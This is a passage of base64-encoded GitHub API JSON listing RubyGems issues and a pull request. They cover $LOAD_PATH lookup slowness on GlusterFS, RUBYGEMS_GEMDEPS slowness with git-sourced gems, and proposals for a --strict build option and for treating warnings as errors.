QiOmZhbHNlfV0sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjo4LCJjcmVhdGVkX2F0IjoiMjAxNS0xMC0xNFQxNDoxNzo1M1oiLCJ1cGRhdGVkX2F0IjoiMjAxNi0wNC0zMFQyMzoxOTo0NVoiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6Ik5PTkUiLCJib2R5IjoiUnVubmluZyBpbiBhIHN5c3RlbSB3aXRoIEdsdXN0ZXJGUyBzZXR1cCwgd2UncmUgZXhwZXJpZW5jaW5nIHZlcnkgc2xvdyBwZXJmb3JtYW5jZSBpbiBzY3JpcHRzIHdoaWNoIG9ubHkgbG9hZCBydWJ5IGxpYnJhcmllcy4gVGhlIHNjcmlwdHMgYmVsb25nIHRvIGEgZ2VtIHdpdGggYSBmYWlyIGFtb3VudCBvZiBkZXBlbmRlbmNpZXMsIGFuZCBhcmUgaW5zdGFsbGVkIGluIHRoZSBzeXN0ZW0gYW5kIGF2YWlsYWJsZSB0byBhbGwgdXNlcnMsIHdoaWNoIG1lYW5zLCBydWJ5Z2VtcyBoYXMgdG8gcGFyc2UgYWxsIG9mIHRoZSBnZW1zcGVjcyBhdmFpbGFibGUuICBFdmVyeSBzdWJzZXF1ZW50IGNhbGwgdG8gdGhlIG15IFwidGVzdFwiIHNjcmlwdCB3aWxsIGxvYWQgdGhlIGdlbSAobGV0J3MgY2FsbCBpdCAncnVieS10ZXN0Jyk6XG5cbmBgYCBydWJ5XG4jIHBvc3NpYmxlIGJpbnN0dWIgZm9yIG15IHRlc3Qgc2NyaXB0XG5yZXF1aXJlICdydWJ5Z2Vtcydcbi4uLlxuZ2VtICdydWJ5LXRlc3QnLCB2ZXJzaW9uXG5sb2FkIEdlbS5iaW4oJ3J1YnktdGVzdCcsICd0ZXN0JywgdmVyc2lvbilcbmBgYFxuXG5teSBzY3JpcHQgb25seSBoYXMgdGhlIGZvbGxvd2luZzpcblxuYGBgIHJ1YnlcbiEjL3Vzci9iaW4vZW52IHJ1YnlcbnJlcXVpcmUgJ2FiYnJldidcbnB1dHMgXCJ0ZXN0XCJcbmBgYFxuXG5UaGUgXCJwcm9ibGVtXCIgc2VlbXMgdG8gYmUgdGhlIFwiZ2VtXCIgY2FsbCBpbiB0aGUgYmluIHN0dWIuIFRoaXMgd2lsbCBsb2FkIGFsbCBkZXBlbmRlbmNpZXMgaW4gbXkgZ2VtJ3MgZ2Vtc3BlYyBhbmQgcHJlcGVuZCB0aGVtIHRvIGAkTE9BRF9QQVRIYCwgd2hpY2ggbWVhbnMsIGV2ZXJ5IHN1YnNlcXVlbnQgcmVxdWlyZSB3aWxsIGZpcnN0IGJlIGxvb2tlZCB1cCBpbiB0aGUgZGVwZW5kZW5jaWVzIHRyZWUgYmVmb3JlIHJlYWNoaW5nIHRoZSBydWJ5IHN0ZGxpYiwgYW5kIHRoYXQgcmVwcmVzZW50cyBhIHBlcmZvcm1hbmNlIHBlbmFsdHkgZm9yIHJlcXVpcmluZyAnYWJicmV2JywgYmVjYXVzZSBJIGNhbm5vdCBjb250cm9sIHRoZSBteSBkZXBlbmRlbmN5IHRyZWVzLiBydWJ5IGl0c2VsZiBkb2Vzbid0IGhhdmUgYSBodWdlIGFtb3VudCBvZiBpbnRlcm5hbCBsaWJyYXJpZXMsIHdoaWNoIHNob3VsZCBtYWtlIGxvb2t1cHMgdmVyeSBmYXN0LiBcblxuVGhpcyBzZWVtcyB0byBiZSB0aGUgXCJjdWxwcml0XCI6XG5cbmh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ibG9iL2MxODgwNWNhNDhmNTMzZmJkZTQwMDI1ZGY0MWE4ZjgxN2NkNmZmNDgvbGliL3J1YnlnZW1zLnJiI0w1NzUtTDU4N1xuXG5UaGlzIG1ldGhvZCByZXR1cm5zIDAsIHdoaWNoIG1lYW5zLCBjYWxscyB0byBgZ2VtYCB3aWxsIGVmZmVjdGl2ZWx5IHByZXBlbmQgdGhlIGdlbSBwYXRocyBpbiBgJExPQURfUEFUSGAuXG5cbk5vdywgSSBkb24ndCBrbm93IGlmIHRoaXMgaXMgYSBcImJ1Z1wiLCBvciBqdXN0IHRoZSB3YXkgcnVieWdlbXMgaXMgZGVzaWduZWQsIHdpdGggdGhlIGFzc3VtcHRpb24gdGhhdCBhbGwgZ2VtIGV4ZWN1dGFibGVzIHJlcXVpcmUgYWxsIGRlcGVuZGVuY2llcy4gQnV0IHRoaXMgZGVjaXNpb24gaW5jcmVhc2VzIGV4cG9uZW50aWFsbHkgdGhlIG51bWJlciBvZiBgbHN0YXRgYW5kIGBzdGF0YCBzeXNjYWxscywgd2hpY2ggaXMgbm90aWNlYWJseSBldmVuIHdvcnNlIHdoZW4gYSBkaXN0cmlidXRlZCBmaWxlIHN5c3RlbSBpcyBpbnZvbHZlZC4gXG5cbldvdWxkbid0IGl0IGJlIGJlc3QgZG8gXCJwcmVwZW5kXCIgZGVwZW5kZW5jaWVzIGFmdGVyIHRoZSBydWJ5IHN0ZGxpYiBwYXRocz9cblxuVXNpbmcgUnVieWdlbXMgMi40LjdcbiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTM1NCIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMzU0L2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMzU0L2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzEzNTQvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzEzNTQiLCJpZCI6MTEwNzk5Mjg4LCJudW1iZXIiOjEzNTQsInRpdGxlIjoicGVyZm9ybWFuY2UgaXNzdWUgd2l0aCBSVUJZR0VNU19HRU1ERVBTIHdoZW4gR2VtZmlsZSBoYXMgZ2l0IHJlcG9zIiwidXNlciI6eyJsb2dpbiI6Imxlb21hbzEwIiwiaWQiOjE5ODgyMSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczMuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTk4ODIxP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9sZW9tYW8xMCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2xlb21hbzEwIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbGVvbWFvMTAvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbGVvbWFvMTAvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbGVvbWFvMTAvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2xlb21hbzEwL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbGVvbWFvMTAvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9sZW9tYW8xMC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9sZW9tYW8xMC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2xlb21hbzEwL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9sZW9tYW8xMC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6MTEyMjIzLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9jYXRlZ29yeTolMjBvdGhlciIsIm5hbWUiOiJjYXRlZ29yeTogb3RoZXIiLCJjb2xvciI6IjBiMDJlMSIsImRlZmF1bHQiOmZhbHNlfSx7ImlkIjozMTk1NDE2MzAsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL3BlcmZvcm1hbmNlIiwibmFtZSI6InBlcmZvcm1hbmNlIiwiY29sb3IiOiJkZDAwZGQiLCJkZWZhdWx0IjpmYWxzZX0seyJpZCI6MTEyMjMwLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy90eXBlOiUyMGJ1ZyUyMHJlcG9ydCIsIm5hbWUiOiJ0eXBlOiBidWcgcmVwb3J0IiwiY29sb3IiOiJiZmU1YmYiLCJkZWZhdWx0IjpmYWxzZX1dLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6MiwiY3JlYXRlZF9hdCI6IjIwMTUtMTAtMTBUMTU6MDc6MTlaIiwidXBkYXRlZF9hdCI6IjIwMTYtMDQtMzBUMjM6MTM6MTVaIiwiY2xvc2VkX2F0IjpudWxsLCJhdXRob3JfYXNzb2NpYXRpb24iOiJOT05FIiwiYm9keSI6IkhpIFRoZXJlLCBcblxuSSBqdXN0IGZvdW5kIHRoYXQgd2hlbiBJIHVzZSBSVUJZR0VNU19HRU1ERVBTIGFuZCB0aGVyZSBhcmUgc29tZSBnZW1zIGluIEdlbWZpbGUgdGhhdCBpcyBmcm9tIGdpdGh1Yi4gQWxsIGNvbW1hbmQgcmVsYXRlZCB0byBydWJ5Z2VtcyB3aWxsIGJlY29tZSByZWFsbHkgc2xvdy5cblxuSGVyZSBpcyB0aGUgZW52IEkgYW0gdGVzdGluZzpcbi0gUnVieWdlbSB2ZXJzaW9uOiAyLjQuOFxuLSBDaHJ1YnkgdmVyc2lvbjogSEVBRFxuLSBkaXJlbnYgdmVyc2lvbjogMi43LjBcblxuQW5kIGhlcmUgaXMgdGhlIEdlbWZpbGU6XG5cbmBgYFxucnVieSBcIjIuMi4yXCJcbnNvdXJjZSBcImh0dHBzOi8vcnVieWdlbXMub3JnXCJcblxuZ2VtICdyYWtlJywgZ2l0OiBcImh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5L3Jha2UuZ2l0XCJcbmdlbSAncmFjaycsIGdpdDogXCJodHRwczovL2dpdGh1Yi5jb20vcmFjay9yYWNrLmdpdFwiXG5nZW0gJ3ZjcicsIGdpdDogXCJodHRwczovL2dpdGh1Yi5jb20vdmNyL3Zjci5naXRcIlxuZ2VtICdzaG91bGRhLW1hdGNoZXJzJywgZ2l0OiBcImh0dHBzOi8vZ2l0aHViLmNvbS90aG91Z2h0Ym90L3Nob3VsZGEtbWF0Y2hlcnMuZ2l0XCJcbmBgYFxuXG5BbmQgaGVyZSBhcmUgdGhlIGNvbW1hbmQgSSByYW4gd2l0aCB0aW1lOlxuXG5gYGBcbnRpbWUgYnVuZGxlICNhZnRlciBhbGwgZ2VtcyBpbnN0YWxsZWRcbiM9PiAgYnVuZGxlICAxLjAycyB1c2VyIDAuNDZzIHN5c3RlbSA5JSBjcHUgMTUuNjU4IHRvdGFsXG5gYGBcblxuYGBgXG50aW1lIGdlbSAtLXZlcnNpb25cbiM9PiBnZW0gLS12ZXJzaW9uICAwLjY4cyB1c2VyIDAuNDBzIHN5c3RlbSA3JSBjcHUgMTQuNTM2IHRvdGFsXG5gYGBcblxuYGBgXG50aW1lIGdlbSBsaXN0IHRpbGVcbiM9PiBnZW0gbGlzdCB0aWx0ICAwLjg1cyB1c2VyIDAuNDRzIHN5c3RlbSA0JSBjcHUgMjkuMjAyIHRvdGFsXG5gYGBcblxuYGBgXG50aW1lIGdlbSBoZWxwXG4jPT4gZ2VtIGhlbHAgIDAuNzJzIHVzZXIgMC40MnMgc3lzdGVtIDklIGNwdSAxMi40NjAgdG90YWxcbmBgYFxuXG5JZiBJIHVzZSBnZW1zIGZyb20gcnVieWdlbXMub3JnLCB0aGVuIHRoZXNlIGNvbW1hbmRzIHdpbGwgYmFjayB0byBub3JtYWw6XG5cbkhlcmUgaXMgdGhlIEdlbWZpbGU6XG5cbmBgYFxucnVieSBcIjIuMi4yXCJcbnNvdXJjZSBcImh0dHBzOi8vcnVieWdlbXMub3JnXCJcblxuZ2VtICdtdWx0aV9qc29uJ1xuZ2VtICd0aWx0J1xuZ2VtICdyYWNrJ1xuZ2VtICd2Y3InXG5nZW0gJ3Nob3VsZGEtbWF0Y2hlcnMnXG5gYGBcblxuQW5kIGhlcmUgYXJlIHRoZSBjb21tYW5kIEkgcmFuIGFuZCB0aGUgdGltZTpcblxuYGBgXG50aW1lIGJ1bmRsZSAjIEFmdGVyIGFsbCBnZW1zIGluc3RhbGxlZFxuIz0+IGJ1bmRsZSAgMC40MXMgdXNlciAwLjA1cyBzeXN0ZW0gOTglIGNwdSAwLjQ2MSB0b3RhbFxuYGBgXG5cbmBgYFxudGltZSBnZW0gLS12ZXJzaW9uXG4jPT4gZ2VtIC0tdmVyc2lvbiAgMC4yMnMgdXNlciAwLjAzcyBzeXN0ZW0gOTglIGNwdSAwLjI2MSB0b3RhbFxuYGBgXG5cbmBgYFxudGltZSBnZW0gbGlzdCB0aWx0XG4jPT4gZ2VtIGxpc3QgdGlsdCAgMC4zN3MgdXNlciAwLjA1cyBzeXN0ZW0gOTklIGNwdSAwLjQyNSB0b3RhbFxuYGBgXG5cbmBgYFxudGltZSBnZW0gaGVscFxuIz0+IGdlbSBoZWxwICAwLjIycyB1c2VyIDAuMDNzIHN5c3RlbSA5OCUgY3B1IDAuMjYyIHRvdGFsXG5gYGBcblxuSGVyZSBpcyBhIHNpbXBsZSByZXBvIHRoYXQgSSB1c2UgdG8gY3JlYXRlIHRoaXMgaXNzdWU6IFxuaHR0cHM6Ly9naXRodWIuY29tL2xlb21hbzEwL2dlbWRlcHNfZGVtb1xuXG5MZXQgbWUga25vdyBpZiB5b3UgbmVlZCBtZSB0byBwcm92aWRlIG1vcmUgaW5mb3JtYXRpb25cblxuQ2hlZXJzXG4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzEzMzUiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTMzNS9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTMzNS9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMzM1L2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMTMzNSIsImlkIjoxMDM1NDI0NzIsIm51bWJlciI6MTMzNSwidGl0bGUiOiJBZGQgLS1zdHJpY3Qgb3B0aW9uIHRvIGJ1aWxkIiwidXNlciI6eyJsb2dpbiI6InNlZ2lkZGlucyIsImlkIjoxOTQ2NjEwLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xOTQ2NjEwP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9zZWdpZGRpbnMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJsYWJlbHMiOltdLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6eyJsb2dpbiI6ImluZGlyZWN0IiwiaWQiOjc4LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS83OD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9pbmRpcmVjdCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3Qvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImFzc2lnbmVlcyI6W3sibG9naW4iOiJpbmRpcmVjdCIsImlkIjo3OCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvNzg/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vaW5kaXJlY3QiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3Qvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9XSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6NSwiY3JlYXRlZF9hdCI6IjIwMTUtMDgtMjdUMTY6MDM6NDlaIiwidXBkYXRlZF9hdCI6IjIwMTctMTItMTdUMjI6MzA6NDVaIiwiY2xvc2VkX2F0IjpudWxsLCJhdXRob3JfYXNzb2NpYXRpb24iOiJPV05FUiIsInB1bGxfcmVxdWVzdCI6eyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzLzEzMzUiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzEzMzUiLCJkaWZmX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzEzMzUuZGlmZiIsInBhdGNoX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzEzMzUucGF0Y2gifSwiYm9keSI6IkNsb3NlcyAjMTMzNFxuXG48IS0tIFJldmlld2FibGU6c3RhcnQgLS0+XG5cbi0tLVxuXG5UaGlzIGNoYW5nZSBpcyBbPGltZyBzcmM9XCJodHRwczovL3Jldmlld2FibGUuaW8vcmV2aWV3X2J1dHRvbi5zdmdcIiBoZWlnaHQ9XCIzNVwiIGFsaWduPVwiYWJzbWlkZGxlXCIgYWx0PVwiUmV2aWV3YWJsZVwiLz5dKGh0dHBzOi8vcmV2aWV3YWJsZS5pby9yZXZpZXdzL3J1YnlnZW1zL3J1YnlnZW1zLzEzMzUpXG5cbjwhLS0gUmV2aWV3YWJsZTplbmQgLS0+XG4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzEzMzQiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTMzNC9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTMzNC9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMzM0L2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMzM0IiwiaWQiOjEwMzUzNTI1MywibnVtYmVyIjoxMzM0LCJ0aXRsZSI6IkFsbG93IHRyZWF0aW5nIHdhcm5pbmdzIGFzIGVycm9ycyBkdXJpbmcgcGFja2FnaW5nIC8gdmFsaWRhdGlvbiIsInVzZXIiOnsibG9naW4iOiJzZWdpZGRpbnMiLCJpZCI6MTk0NjYxMCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTk0NjYxMD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vc2VnaWRkaW5zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6MzA3ODgxMDExLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9zdGF0dXM6JTIwcmVhZHkiLCJuYW1lIjoic3RhdHVzOiByZWFkeSIsImNvbG9yIjoiZmVmMmMwIiwiZGVmYXVsdCI6ZmFsc2V9LHsiaWQiOjMwNTUyNDc1MCwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9